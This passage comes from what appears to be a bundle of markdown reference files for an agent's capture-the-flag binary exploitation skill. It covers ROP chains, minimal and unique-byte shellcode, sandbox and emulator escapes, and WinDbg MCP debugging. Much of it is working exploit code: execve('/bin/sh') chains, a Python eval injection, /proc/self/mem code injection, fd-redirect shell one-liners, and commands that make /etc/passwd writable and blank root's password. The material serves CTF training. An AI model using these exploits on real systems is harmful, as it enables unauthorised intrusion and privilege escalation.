intact.\n\n```python\nfrom pwn import *\n\n# Canary check epilogue (found in most binaries):\n# mov rdx, [rsp+8] ; load canary from stack\n# xor rdx, fs:28h ; XOR with stored canary → 0 if intact\n# Jump into this code as a \"gadget\" to zero RDX\n\n# Find the canary check sequence in the binary\ncanary_xor_gadget = next(binary.search(asm(\n \"mov rdx, [rsp+8]; xor rdx, qword ptr fs:[0x28]\"\n)))\n# Side effect: harmless write of je result, rdx = 0 for execve(path, argv, NULL)\n\n# Use in ROP chain:\nrop = flat(\n pop_rdi, binsh_addr, # rdi = \"/bin/sh\"\n pop_rsi, 0, # rsi = NULL (argv)\n canary_xor_gadget, # rdx = canary ^ fs:28h = 0\n execve_addr, # execve(\"/bin/sh\", NULL, NULL)\n)\n```\n\n**Key insight:** The stack canary check `xor rdx, fs:28h` produces `rdx=0` when the canary is correct. Jump into this epilogue as a gadget when `pop rdx` is unavailable -- it provides a reliable zero-rdx primitive with only a benign byte-write side effect. This works because the canary on the stack matches `fs:28h`, so the XOR result is always zero in a non-corrupted frame.\n\n**When to recognize:** ROP chain needs `rdx=0` (common for `execve` third argument) but the binary lacks `pop rdx; ret` or `pop rdx; pop rbx; ret`. Search for `xor rdx, qword ptr fs:` in the binary's disassembly -- it appears in every function with a stack canary.\n\n**References:** VolgaCTF 2017\n\n---\n\n## Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)\n\n**Pattern:** When the shellcode entry point has registers already initialized to useful values (e.g., `eax=4` for the `write` syscall on x86-32, `ebx=1` for stdout), exploit them to dramatically reduce shellcode size. Always audit register state at entry before writing shellcode from scratch.\n\n**Example (x86-32 write syscall, entry: eax=4, ebx=1):**\n```asm\n; Entry state: eax=4 (sys_write), ebx=1 (stdout fd)\n; Goal: write flag buffer to stdout — only need ecx and edx\n\n; 3-byte: point ecx at the flag buffer\nlea ecx, [edi + flag_offset] ; 3 bytes (if offset fits in 1 byte)\n\n; 2-byte: set edx (byte count)\nmov dl, 64 ; 2 bytes\n\n; 2-byte: trigger syscall\nint 0x80 ; 2 bytes\n\n; Total: 7 bytes — or as few as 5 if edx is already set\n```\n\n**Workflow:**\n```python\n# 1. Run the binary in gdb, break right before shellcode is executed\n# 2. Inspect all registers: info registers\n# 3. Identify which syscall arguments are already set\n# 4. Write only the instructions needed to fill missing arguments\n\n# Useful pre-initialized patterns:\n# - eax = syscall number already set by caller\n# - ebx = fd (stdin=0, stdout=1) from prior open/setup\n# - rdi, rsi from calling convention leakage\n# - rsp pointing into a writable region (for push-based addressing)\n```\n\n**Key insight:** Always audit entry register values before writing shellcode — pre-loaded syscall numbers and fd values can reduce shellcode to under 6 bytes. The smallest possible shellcode exploits the ABI calling convention residue left by the surrounding code.\n\n**References:** Square CTF 2017\n\n---\n\n## Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)\n\n**Pattern:** x86-64 `syscall` instruction saves `RIP` (next instruction address) into `RCX` as a side effect. An 8-byte stager exploits this: execute `syscall` (which also triggers a `read` with pre-set registers), then use `rcx` (now = address of the instruction after `syscall`) as the address for reading the full shellcode to the same RWX location. All 8 bytes of the stager must be unique (no repeated bytes).\n\n**8-byte stager construction:**\n```asm\n; Entry constraints: rax=0 (read), rdi=0 (stdin), rsi=shellcode_buf, rdx=8 (small)\n; Side effect of syscall: rcx = RIP (address of next instruction after syscall)\n\nsyscall ; 2 bytes: 0f 05 — executes read(0, shellcode_buf, 8)\n ; and sets rcx = &next_instr (= shellcode_buf + 2)\npush rcx ; 1 byte: 51 — stack = [shellcode_buf + 2]\npop rsi ; 1 byte: 5e — rsi = shellcode_buf + 2 (where full shellcode goes)\nxor edx, edx ; 2 bytes: 31 d2 — clear rdx\nmov dl, 100 ; 2 bytes: b2 64 — rdx = 100 (read size for stage 2)\n; Back to syscall (loop): the push/pop sequence ends up jumping to syscall again\n; ... or arrange entry so the next syscall reads 100 bytes to rsi\n```\n\n**Uniqueness constraint:**\n```python\n# All 8 bytes must be distinct (challenge-specific filter)\n# Candidate sequence: 0f 05 51 5e 31 d2 b2 64 — all unique\n# Verify: len(set(bytes)) == len(bytes)\nstager = bytes([0x0f, 0x05, 0x51, 0x5e, 0x31, 0xd2, 0xb2, 0x64])\nassert len(set(stager)) == len(stager) # passes\n\n# Stage 2: full execve shellcode sent to stdin after stager runs first syscall\nfrom pwn import *\np.send(stager)\np.send(asm(shellcraft.sh()))\n```\n\n**Key insight:** x86-64 `syscall` copies RIP to RCX — weaponize this as position-independent address discovery for tiny shellcode stagers. The stager needs no hardcoded addresses: it calculates its own location via the `syscall` side effect, then uses that address as the destination for reading the full payload.\n\n**References:** HITCON CTF 2017\n\n---\n\n## stub_execveat Syscall as execve Alternative (ASIS CTF 2018)\n\n**Pattern:** In a tiny binary with only `read` syscall and no `pop rax` gadget, use `stub_execveat` (syscall 0x142/322) instead of `execve` (0x3b). Since `read()` returns bytes-read in `rax`, make total input length exactly 0x142 bytes so `rax=0x142` when the syscall gadget fires.\n\n**Why this works:**\n1. The binary is tiny -- only `read` and basic gadgets, no `pop rax; ret`\n2. `execve` requires `rax=0x3b` (59), but without `pop rax` there's no way to set it\n3. `read()` returns the number of bytes read in `rax` -- this is the only rax control\n4. `stub_execveat` (syscall 322 = 0x142) accepts the same arguments as `execve` when `AT_FDCWD` is used for the directory fd\n5. Send exactly 0x142 bytes so `read()` returns 0x142, then hit `syscall`\n\n```python\nfrom pwn import *\n\n# Binary gadgets (tiny static binary)\nxor_rdx_syscall = 0x4000ed # xor rdx, rdx; syscall\nsyscall_gadget = 0x400101 # syscall\n\n# Build payload: /bin/sh string + padding + ROP chain\n# Total length must be exactly 0x142 bytes\npayload = b\"/bin/sh\\x00\" # rdi points here\npayload += b\"B\" * (0x148 - (8*4) - 8) # padding to ROP area\npayload += p64(xor_rdx_syscall) # xor rdx, rdx; syscall\npayload += p64(syscall_gadget) # syscall (rax=0x142 from read)\npayload += b\"A\" * (0x142 - len(payload) - 1) # pad to exactly 0x142 bytes\n# rax = 0x142 from read() return value = stub_execveat syscall number\n\nio = remote('target', 1337)\nio.send(payload)\nio.interactive()\n```\n\n**Key insight:** `stub_execveat` (syscall 322/0x142) accepts the same arguments as execve when `AT_FDCWD` is used, but its higher syscall number can be reached via `read()` return value when `pop rax; ret` gadgets are unavailable. Always check if alternative syscalls with equivalent functionality have numbers reachable through return values or other implicit register control.\n\n**References:** ASIS CTF 2018\n\n---\n\n## Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)\n\n**Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder) emit self-decoding stubs but require `rax + padding_len == shellcode_address` at entry. When the harness enters with `rax = 0` (not anywhere near the shellcode) the encoder has nothing to land on. Prepend a tiny 3-byte non-alnum-but-accepted seed — `push r12; pop rax` — so `rax` becomes a live stack/code pointer, then call the encoder with `padding_len=3`.\n\n```python\nfrom pwn import *\ncontext(arch='amd64')\n\nfile_name = \"flag\".ljust(8, '\\x00')\nsc = '''\n mov rax, %s\n push rax\n mov rdi, rsp\n mov rax, 2 /* open(rsp, 0) */\n mov rsi, 0\n syscall\n mov rdi, rax\n sub rsp, 0x20\n mov rsi, rsp\n mov rdx, 0x20\n mov rax, 0 /* read(fd, rsp, 0x20) */\n syscall\n mov rdi, 0\n mov rsi, rsp\n mov rdx, 0x20\n mov rax, 1 /* write(1, rsp, 0x20) */\n syscall\n''' % hex(u64(file_name))\nsc = asm(sc)\n\n# push r12 (0x41 0x54) + pop rax (0x58) = 3 bytes, all happen to be alnum-safe\nbootstrap = asm(\"push r12; pop rax;\")\npayload = bootstrap + alphanum_encoder(sc, 3)\n```\n\n**Key insight:** Alphanumeric-only decoders typically need `rax` to point at (or a fixed offset before) the payload. If the harness zeroes `rax`, seed it from *any* volatile register that already holds a valid address — `r12` is routinely `_start` on Linux, and `push r12; pop rax` happens to be `AT X` (0x41 0x54 0x58), which the encoder's input filter treats as benign. Adjust the encoder's `padding_len` argument to exactly match the prepended byte count so the decode math still lines up.\n\n**References:** nullcon HackIM 2019 — easy-shell, writeups 13048, 13203\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":28791,"content_sha256":"61a2454a91764d97b64d58f27c7b8212b8ac008c8a7e01df1b5cabc6b106c869"},{"filename":"sandbox-escape.md","content":"# CTF Pwn - Sandbox Escape and Restricted Environments\n\n## Table of Contents\n- [Python Sandbox Escape](#python-sandbox-escape)\n- [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)\n- [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)\n- [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)\n- [Shell Tricks](#shell-tricks)\n- [Write-Anywhere via /proc/self/mem (BSidesSF 2025)](#write-anywhere-via-procselfmem-bsidessf-2025)\n- [process_vm_readv Failure as Sandbox Escape (0CTF 2016)](#process_vm_readv-failure-as-sandbox-escape-0ctf-2016)\n- [Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)](#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016)\n- [Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)](#lua-integer-underflow-via-game-logic-asis-ctf-finals-2017)\n- [CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)](#cpu-emulator-print-opcode-python-eval-injection-midnight-sun-ctf-2018)\n- [Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)](#unicorn-emulator-syscall-blacklist-bypass-via-sysenter-and-uncommon-syscalls-meepwn-ctf-quals-2018)\n- [Custom VM swap Pointer Self-Overwrite (HITCON 2018)](#custom-vm-swap-pointer-self-overwrite-hitcon-2018)\n\n---\n\n## Python Sandbox Escape\n\nPython jail/sandbox escape techniques (AST bypass, audit hook bypass, MRO-based builtin recovery, decorator chains, restricted charset tricks, and more) are covered comprehensively in the `ctf-misc` skill — invoke `/ctf-misc` for pyjail techniques.\n\n## VM Exploitation (Custom Bytecode)\n\n**Pattern (TerViMator, Pragyan 2026):** Custom VM with registers, opcodes, syscalls. Full RELRO + NX + PIE.\n\n**Common vulnerabilities in VM syscalls:**\n- **OOB read/write:** `inspect(obj, offset)` and `write_byte(obj, offset, val)` without bounds checking allows read/modify object struct data beyond allocated buffer\n- **Struct overflow via name:** `name(obj, length)` writing directly to object struct allows overflowing into adjacent struct fields\n\n**Exploitation pattern:**\n1. Allocate two objects (data + exec)\n2. Use OOB `inspect` to read exec object's XOR-encoded function pointer to leak PIE base\n3. Use `name` overflow to rewrite exec object's pointer with `win() ^ KEY`\n4. `execute(obj)` decodes and calls the patched function pointer\n\n## FUSE/CUSE Character Device Exploitation\n\n**FUSE** (Filesystem in Userspace) / **CUSE** (Character device in Userspace)\n\n**Key insight:** FUSE/CUSE devices run handler code in userspace with the permissions of the device daemon. If the daemon runs as root and exposes a command interface via the write handler, any user who can write to the device file gains root-level operations (chmod, file read/write).\n\n**Identification:**\n- Look for `cuse_lowlevel_main()` or `fuse_main()` calls\n- Device operations struct with `open`, `read`, `write` handlers\n- Device name registered via `DEVNAME=backdoor` or similar\n\n**Common vulnerability patterns:**\n```c\n// Backdoor pattern: write handler with command parsing\nvoid backdoor_write(const char *input, size_t len) {\n char *cmd = strtok(input, \":\");\n char *file = strtok(NULL, \":\");\n char *mode = strtok(NULL, \":\");\n if (!strcmp(cmd, \"b4ckd00r\")) {\n chmod(file, atoi(mode)); // Arbitrary chmod!\n }\n}\n```\n\n**Exploitation:**\n```bash\n# Change /etc/passwd permissions via custom device\necho \"b4ckd00r:/etc/passwd:511\" > /dev/backdoor\n\n# 511 decimal = 0777 octal (rwx for all)\n# Now modify passwd to get root\necho \"root::0:0:root:/root:/bin/sh\" > /etc/passwd\nsu root\n```\n\n**Privilege escalation via passwd modification:**\n1. Make `/etc/passwd` writable via the backdoor\n2. Replace root line with `root::0:0:root:/root:/bin/sh` (no password)\n3. `su root` without password prompt\n\n## Busybox/Restricted Shell Escalation\n\nWhen in restricted environment without sudo:\n1. Find writable paths via character devices\n2. Target system files: `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`\n3. Modify permissions then content to gain root\n\n**Key insight:** In restricted environments without sudo, look for custom character devices (`/dev/backdoor`) or writable system files. Any write primitive to `/etc/passwd` (remove root's password hash) or `/etc/sudoers` (add NOPASSWD entry) gives root.\n\n## Shell Tricks\n\n**File descriptor redirection (no reverse shell needed):**\n```bash\n# Redirect stdin/stdout to client socket (fd 3 common for network)\nexec \u003c&3; sh >&3 2>&3\n\n# Or as single command string\nexec\u003c&3;sh>&3\n```\n- Network servers often have client connection on fd 3\n- Avoids firewall issues with outbound connections\n- Works when you have command exec but limited chars\n\n**Find correct fd:**\n```bash\nls -la /proc/self/fd # List open file descriptors\n```\n\n**Short shellcode alternatives:**\n- `sh\u003c&3 >&3` - minimal shell redirect\n- Use `$0` instead of `sh` in some shells\n\n**Key insight:** Network servers typically have the client socket on fd 3. Redirecting stdin/stdout to this fd (`exec \u003c&3; sh >&3 2>&3`) gives an interactive shell over the existing connection without needing outbound connectivity for a reverse shell.\n\n---\n\n## Write-Anywhere via /proc/self/mem (BSidesSF 2025)\n\nWhen a service allows writing to arbitrary files at arbitrary offsets, target `/proc/self/mem` for code injection:\n\n```python\nfrom pwn import *\n\n# Service API: send filename, offset, content\ndef write_mem(r, offset, data):\n r.sendline(b'/proc/self/mem')\n r.sendline(str(offset).encode())\n r.sendline(data)\n\n# 1. Leak a return address from the stack (or use known binary address)\n# 2. Write shellcode to a writable+executable region (or reuse existing code)\n# 3. Overwrite return address to point to shellcode\n\nshellcode = asm(shellcraft.sh())\n\nr = remote(host, port)\n# Overwrite code at known address (e.g., after close@plt returns)\nwrite_mem(r, target_code_addr, shellcode)\n```\n\n**Key insight:** `/proc/self/mem` provides random-access read/write to the process's virtual memory, bypassing page protections that mmap enforces. Writing to text segments (code) works even when the segment is mapped read-only via normal mmap -- the kernel performs the write through the page tables directly. This makes it equivalent to a debugger `PTRACE_POKETEXT`.\n\n**Requirements:** File write primitive must handle binary data (null bytes). The target offset must be a valid mapped virtual address.\n\n---\n\n### process_vm_readv Failure as Sandbox Escape (0CTF 2016)\n\n**Pattern:** Sandbox validates file paths by calling `process_vm_readv()` then `realpath()`. By mapping memory with `PROT_READ` only (not remotely readable by `process_vm_readv` from the sandbox process), path validation fails silently, bypassing the check.\n\n```c\n// Create memory at fixed address with only read permission\nmmap(0x13370000, 0x1000, PROT_READ, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\n// Store path string there -- sandbox's process_vm_readv fails\n// realpath() also fails -- path check bypassed entirely\n// Then: open(\"/flag\") succeeds through the sandbox\n```\n\n**Key insight:** Sandbox path validation using `process_vm_readv` assumes validation will succeed or deny. The failure case (unreadable memory) is unhandled, creating a bypass. The sandboxed process can read its own memory normally, but the supervisor process cannot read it via `process_vm_readv`.\n\n**References:** 0CTF 2016\n\n---\n\n### Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)\n\n**Pattern:** Binary reads a file and checks its size before processing. Named pipes (FIFOs) report `st_size = 0` via `stat()` but deliver arbitrary data when read, bypassing size-based overflow prevention.\n\n```bash\nmkfifo /tmp/payload_pipe\n# In background, feed overflow payload to the pipe\ncat exploit_data > /tmp/payload_pipe &\n# Binary sees size=0, skips bounds check, reads arbitrary data\n./vulnerable_binary /tmp/payload_pipe\n```\n\nCombine with symlinks for string reuse: `ln -s /flag arena.c` uses an existing string in the binary as the target filename for a ROP chain.\n\n**Key insight:** Named pipes always report `st_size = 0` in `stat()`, bypassing any size-based buffer allocation or bounds checks while delivering arbitrary-length data via `read()`. Any binary that uses `stat()` to pre-allocate or validate before `read()` is vulnerable.\n\n**References:** Nuit du Hack 2016\n\n---\n\n### Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)\n\n**Pattern:** Text-based game (written in Lua) with inventory management. Two independent percentage reductions are applied sequentially to the same value without capping the combined result: a 100% decay applied first zeros the inventory, then a 10% penalty applied to the already-zero value causes an integer underflow below zero. Selling the underflowed items generates unlimited money (the game treats a large negative count as a large positive sale value or wraps to unsigned max).\n\n**Vulnerable logic:**\n```lua\n-- Applied sequentially, no combined-total check:\ninventory = inventory - math.floor(inventory * 0.10) -- 10% penalty first\ninventory = inventory - math.floor(inventory * 1.00) -- 100% decay = zeroed\n\n-- If applied in the other order, or combined:\n-- 100% decay → inventory = 0\n-- 10% of 0 = 0 → total reduction = 100%, no underflow\n\n-- But with uncapped sequential application:\n-- Step 1: inventory -= inventory * decay_rate (e.g., decay=100% → 0)\n-- Step 2: inventory -= extra_penalty (penalty on already-zero → negative)\n-- Result: inventory = -penalty_amount (wraps or treated as large positive)\n```\n\n**Exploitation:**\n```python\n# 1. Identify the two independent reduction events in the game loop\n# (e.g., end-of-round decay AND a transaction penalty)\n# 2. Trigger both in the same game tick without intermediate capping\n# 3. Verify inventory went negative (may display as large number or 0 + debt)\n# 4. Sell the underflowed items: game calculates price * negative_count\n# → negative total, or wraps to huge positive → unlimited currency\n# 5. Use unlimited currency to purchase the flag item\n```\n\n**Key insight:** Business logic bugs in game economies create integer underflows without any memory corruption — two uncapped percentage reductions exceeding 100% underflow the target variable. Look for any game mechanic that applies multiple independent percentage modifications to the same integer value in the same tick.\n\n**References:** ASIS CTF Finals 2017\n\n---\n\n### CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)\n\n**Pattern:** Custom CPU emulator's print function uses `eval('\"' + string_buffer + '\"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `\"+__import__(\"os\").system(\"cmd\")#` to escape the string literal and execute arbitrary Python.\n\n**Exploitation strategy:**\n1. The emulator implements a custom instruction set with ADD, MOV, PRINT, etc.\n2. The PRINT opcode reads a string from emulator memory and passes it to `eval('\"' + s + '\"')` to handle escape sequences like `\\n`, `\\t`\n3. Use ADD opcodes to build the injection string character-by-character in emulator memory\n4. The injected string `\"+__import__(\"os\").system(\"cmd\")#` closes the opening quote, concatenates with `__import__(\"os\").system()`, and `#` comments out the trailing quote\n\n```python\nfrom pwn import *\n\n# Emulator opcodes (example encoding)\nADD = 0x01 # ADD addr, immediate_byte\nPRINT = 0x58 # Print string from memory (triggers eval)\n\ndef build_char(c):\n \"\"\"Generate ADD opcodes to set a memory byte to character c\"\"\"\n addr = current_mem_ptr()\n return bytes([ADD, addr, ord(c)])\n\n# Build injection payload in emulator memory\ncmd = \"cat /flag\"\ninjection = '''\"+__import__(\"os\").system(\"%s\")#''' % cmd\n\nprogram = b\"\"\nfor c in injection:\n program += build_char(c)\n\n# Trigger PRINT opcode -> eval('\"' + injection + '\"')\n# eval becomes: eval('\"\"+__import__(\"os\").system(\"cat /flag\")#\"')\n# The # comments out the trailing quote\nprogram += bytes([PRINT, 0x00]) # PRINT from address 0\n\nio = remote('target', 1337)\nio.send(program)\nio.interactive()\n```\n\n**Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trailing syntax. This is a classic eval injection -- the emulator trusts its own memory contents, but the attacker controls memory via normal CPU opcodes.\n\n**References:** Midnight Sun CTF 2018\n\n---\n\n### Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)\n\n**Pattern:** A Unicorn-based shellcode runner hooks `UC_HOOK_INSN` for `int 0x80` and `UC_HOOK_MEM_*` to block forbidden syscall numbers (execve, read, write, mmap). The filter only covers the `int 0x80` entry and the handful of syscalls the authors thought of.\n\n**Bypass:**\n1. Use `sysenter` instead of `int 0x80` — Unicorn's `INT` hook does not fire on the fast entry path.\n2. Use functionally equivalent syscalls that are not on the blacklist:\n - `dup3` instead of `dup2`\n - `openat` instead of `open`\n - `pread64` instead of `read`\n - `sendfile` to move a file descriptor's contents straight to another fd without touching `write`\n3. Stage the payload so the final stage is `execve(\"/bin/sh\", ...)` via `sys_socketcall` (opcode `0x66`) + crafted syscall-mode transition, if even `execve` is in the blacklist.\n\n```asm\n; Swap file from /flag to stdout without read/write\nmov eax, 0x123 ; __NR_openat\nmov ebx, -100 ; AT_FDCWD\nlea ecx, [flag_path]\nxor edx, edx\nsysenter ; NOT int 0x80 — bypasses Unicorn INT hook\n\n; fd is now in eax\nmov ebx, eax ; src fd\nmov ecx, 1 ; dst fd (stdout)\nxor edx, edx ; NULL offset\nmov esi, 0x1000 ; count\nmov eax, 0xbb ; __NR_sendfile\nsysenter\n```\n\n**Key insight:** Instruction-level filters in Unicorn hook specific opcodes. If the filter only watches `int 0x80`, any other syscall entry (`sysenter`, `syscall`, `int 0x2e` on x86-32 test builds) slips through. Always enumerate functionally equivalent syscalls: `dup3/openat/pread64/sendfile/writev/mmap2` cover almost everything a blacklist of `execve/read/write/mmap` forgets.\n\n**References:** Meepwn CTF Quals 2018 — writeups 10415, 10428\n\n---\n\n## Custom VM swap Pointer Self-Overwrite (HITCON 2018)\n\n**Pattern:** A custom VM exposes a `swap(a, b)` instruction that reads two stack indices relative to the saved `sp`. If the VM never validates that `sp_nxt` is within bounds, calling `swap(-1, 0)` or `swap(-2, -1)` addresses the internal `sp_nxt` itself and exchanges it with a stack slot. Subsequent instructions then operate on arbitrary memory.\n\n```text\nswap(-1, 0) # treats &sp_nxt as stack[-1]; swaps sp_nxt \u003c-> stack[0]\n# sp_nxt now points wherever stack[0] used to; writes go anywhere\n```\n\nChain with a `push` that stores shellcode bytes at the new pointer, then redirect a function pointer from the VM's dispatch table to the shellcode region.\n\n**Key insight:** Any VM primitive that rewrites its own state pointer is an immediate arbitrary-write primitive. Always probe VM opcodes for boundary conditions where the stack pointer itself is addressable.\n\n**References:** HITCON CTF 2018 — Abyss I, writeups 11918-11919\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15428,"content_sha256":"ac0f98f63ef9c9f736f219a59f28a54ace9d605c73bde43f6750cda0c7f6dcfd"},{"filename":"static-signals.md","content":"# Exploit-Relevant Static Signals\n\nUse this reference only when the task asks for exploitability or security impact. State the primitive supported by evidence and the additional runtime condition required. Never turn absence of a static artifact into a proof of absence.\n\n| Observed evidence | Security-relevant meaning |\n| --- | --- |\n| Libc version/build | Narrows offsets, gadget set, heap implementation, and known hardening behavior; confirm the mapped libc at runtime when possible. |\n| Seccomp filter or policy evidence | May restrict available syscalls; derive actual allowed/blocked syscalls from the filter or observed behavior, not from presence alone. |\n| `GNU_STACK RWE` | An executable stack is requested; shellcode feasibility still depends on runtime enforcement, input placement, and control-flow primitive. |\n| `GNU_STACK` missing | Stack executability is unknown and depends on ABI/kernel policy. |\n| NX disabled, when runtime evidence confirms it | Shellcode becomes more feasible, but still requires a way to redirect execution into attacker-controlled memory. |\n| Non-PIE plus partial RELRO | Fixed ELF base and writable GOT make GOT overwrite a stronger candidate, subject to a write primitive and layout constraints. |\n| PIE candidate confirmed as PIE | Exploits generally need an ELF base leak or another way to bridge to known absolute locations. |\n| Full RELRO evidence | GOT is intended to be read-only after relocation; seek another target rather than assuming GOT overwrite. |\n| Statically linked | Conventional external libc is not mapped separately; use the embedded libc/symbols and assess GOT/PLT differently. |\n| Stripped | Named logic and boundaries are missing, requiring reconstruction from dynamic symbols, strings, code, and xrefs. |\n| Canary instrumentation observed | Selected code has canary checks; coverage must be checked function by function. |\n| No canary artifact observed | Canary status is not established, especially in stripped/static/inlined code; inspect the relevant write paths before claiming a stack overflow route. |\n| Canary absence proven for a reachable function | Stack overflow, return-address overwrite, or stack pivot may be viable if an attacker-controlled overflow reaches that frame. |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":2256,"content_sha256":"3d70c0953f39baa6a4dbb245b1f940a37b3e9053ec2befe2f4de302545191745"},{"filename":"tools-mcp.md","content":"# CTF Pwn - MCP Server Integration\n\nMCP servers accelerate the two halves of a pwn workflow: **understanding** the\nbinary (decompile the vulnerable function) and **debugging** the exploit\n(inspect crash state, heap, registers). For static decompilation via IDA/Ghidra\nMCP the authoritative reference is [../ctf-reverse/tools-mcp.md](../ctf-reverse/tools-mcp.md);\nthis file covers the pwn-specific angle plus **WinDbg MCP** for Windows targets.\n\n## Table of Contents\n- [WinDbg MCP (Windows Crash Dumps, Live & Kernel Debugging)](#windbg-mcp-windows-crash-dumps-live--kernel-debugging)\n- [IDA / Ghidra MCP for Exploit Development](#ida--ghidra-mcp-for-exploit-development)\n\n---\n\n## WinDbg MCP (Windows Crash Dumps, Live & Kernel Debugging)\n\nRepository: `https://github.com/svnscha/mcp-windbg` (MIT). Bridges WinDbg's\n`cdb.exe` (user mode) and `kd.exe` (kernel mode) to the agent, so dump triage,\nlive breakpoint-driven exploitation, and kernel debugging all run as tool calls.\n\n**Setup:**\n\n```bash\n# Needs the Windows SDK \"Debugging Tools for Windows\" (provides cdb.exe + kd.exe),\n# usually C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\\nuv tool install mcp-server-windbg # or: pip install mcp-server-windbg\nclaude mcp add mcp-windbg -- mcp-windbg\n```\n\n### Session model — read this first\n\nEvery tool except `list_dumps` is **session-addressed**. `open_*` returns a\n`session_id`; every later command must pass it back. Open once, reuse for the\nwhole challenge, close at the end. This is the single most common failure mode:\ncalling `run_cdb_command` without a `session_id` from a live `open_*`.\n\n**User mode (cdb.exe)** — dumps, and live targets over a debug server:\n\n| Tool | Purpose |\n|---|---|\n| `list_dumps(directory_path?, recursive?)` | Enumerate `.dmp` files; no session needed |\n| `open_cdb_dump(dump_path, symbols_path?, include_stack_trace?, include_modules?, include_threads?, timeout_seconds?)` | Load a dump → `session_id`. Auto-runs `.lastevent` + `!analyze -v` |\n| `open_cdb_remote(connection_string, ...)` | Attach to `cdb -server tcp:port=5005 \u003cprog>` → `session_id` |\n| `run_cdb_command(session_id, command, timeout_seconds?)` | Any cdb command |\n| `send_ctrl_break(session_id)` | Break into a *running* live target |\n| `close_cdb_session(session_id)` | Release |\n\n**Kernel mode (kd.exe)** — Windows kernel/driver pwn:\n\n| Tool | Purpose |\n|---|---|\n| `open_kd_session(connection_string, symbols_path?, ...)` | Attach + break in → `session_id` |\n| `run_kd_command(session_id, command, timeout_seconds?)` | Any kd command |\n| `send_ctrl_break(session_id)` | Break into the running kernel |\n| `close_kd_session(session_id, resume=true)` | Release. **`resume=false` leaves the whole target machine frozen** |\n\nKernel connection strings: KDNET `net:port=50000,key=1.2.3.4`, named pipe\n`com:pipe,port=\\\\.\\pipe\\com_1,baud=115200,reconnect,resets=0`, serial\n`com:port=COM1,baud=115200`.\n\n**Symbols are a correctness issue, not a convenience.** Pass\n`symbols_path=\"srv*C:\\symbols*https://msdl.microsoft.com/download/symbols\"` on\n`open_*`. With wrong symbols `!analyze -v` does not fail loudly — it invents a\n**plausible but false** answer. Verified on a real dump: `!analyze -v` reported\n`PROCESS_NAME: ntdll.wrong.symbols.dll` and a bogus bugcheck code, and `k` gave\n`combase!CoTaskMemRealloc+0x31a7` / `notepad+0xaf59`. After `.symfix; .reload`\nthe same stack read `combase!InitMainThreadWnd+0x57` / `notepad!wWinMain+0x11d`\n— different functions entirely.\n\n**Always sanity-check the auto-analysis before trusting a single frame:** if the\noutput contains `WRONG_SYMBOLS`, `MISSING_CRITICAL_SYMBOLS`, or\n`***** OS symbols are WRONG`, run `.symfix; .reload` and re-issue `k` before\nreasoning about the crash.\n\n### Crash-dump triage loop\n\n`open_cdb_dump` already ran `.lastevent` + `!analyze -v` for you. Set\n`include_stack_trace=true, include_modules=true` to fold `kb` and `lm` into that\nsame first call and save two round trips.\n\n```text\nopen_cdb_dump crash.dmp include_stack_trace=true include_modules=true\nrun_cdb_command \u003csid> \".symfix; .reload\" # FIRST — see the symbol warning above\nrun_cdb_command \u003csid> \"r\" # registers — did we control rip?\nrun_cdb_command \u003csid> \"!exchain\" # SEH chain (SEH-overwrite target)\nrun_cdb_command \u003csid> \"dds esp L40\" # stack — locate the cyclic pattern\nrun_cdb_command \u003csid> \"!heap -p -a \u003caddr>\" # heap block owner for UAF/overflow\nrun_cdb_command \u003csid> \"~*k\" # all thread stacks, not just the faulting one\nrun_cdb_command \u003csid> \"!teb\" # TEB: stack limits, last error, SEH head\n```\n\n`list_dumps` needs an explicit `directory_path` unless the machine has a\n`LocalDumps` registry path configured — otherwise it just errors.\n\n**Flag straight out of a dump.** Before any exploitation, scan memory — many\nWindows forensics/pwn hybrids hand you a dump that already contains the flag.\n**Do not scan by raw address range on x64.** A 32-bit range never reaches the\nheap (it sits above 4 GB, e.g. `0x246ab1a1720`), and the full 47-bit user range\n`L?0x7fffffffffff` hangs the session outright. Enumerate committed regions and\nsearch only those:\n\n```text\nrun_cdb_command \u003csid> \"!address -f:Heap -c:\\\"s -u %1 %2 \\\\\\\"flag{\\\\\\\"\\\"\" # UTF-16\nrun_cdb_command \u003csid> \"!address -f:Heap -c:\\\"s -a %1 %2 \\\\\\\"flag{\\\\\\\"\\\"\" # ASCII\nrun_cdb_command \u003csid> \"du \u003chit_addr>\" # print the whole flag\nrun_cdb_command \u003csid> \".writemem C:\\\\out\\\\heap.bin \u003cstart> L\u003clen>\" # carve for offline analysis\n```\n\nTry **`s -u` first**: Win32 stores command lines, environment blocks, and most\nstring data as UTF-16, so `s -a` frequently finds nothing where `s -u` hits\nimmediately. Swap `-f:Heap` for `-f:Stack`, `-f:Image`, or `-f:MEM_PRIVATE` to\nwiden the sweep. In `-c:` the placeholders are `%1` base, `%2` end+1, `%3` size;\nquotes need escaping and **semicolon-separated commands are not supported**.\n\n### Live exploitation loop (the part most people 